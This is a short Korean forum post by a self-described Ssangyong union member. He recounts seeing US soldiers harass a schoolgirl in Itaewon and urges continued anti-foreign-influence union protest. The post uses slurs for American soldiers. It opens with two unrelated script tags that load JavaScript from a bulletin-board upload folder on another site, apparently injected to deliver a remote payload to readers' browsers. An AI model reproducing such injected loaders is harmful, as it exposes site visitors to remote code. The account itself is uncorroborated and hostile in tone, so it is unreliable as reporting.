<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 어제 집 사람과 아이들과 함께 고등학교 동창녀석들과 모임이 있어 이태원에 나갔다..
식사를 하고 커피 숖으로 가는도중 미제놈 군발이 5-6명이 어린 여중생에게 성 희롱을 하고 있었다...
나와 친구녀석들은 문득 분노감과 치욕감을 떨쳐버릴수 없었다...
나의 부인과 동창부인들도 크게 분노 하였다...
여자들은 우리가 노동조합 쪼끼를 입을때 왜 입느냐고 나무랄때도 있었는데...
이번일로 여자들은 더욱 더,.. 입고 투쟁 하여한다고 당부하였다....
딸 아이를 키우는 아빠로써 엄마로서 더러운 미제놈에게 우리의 어린 딸을 희롱하는 더러운 미제놈을 보면서.... 우리의 아내들은 남편들이 왜 그 토록 투쟁하고 효순이 미선이때 회사를 마치고 피곤한 몸을 이끌고 노조 조
끼를 입고 광화문으로 갔는지 이해 한다고 하였다....
앞으로 그런일이 다시 없기를 ................
언제쯤 우리나라가 외세에 당당한 그날이 올까?
쌍용 노조원 올림
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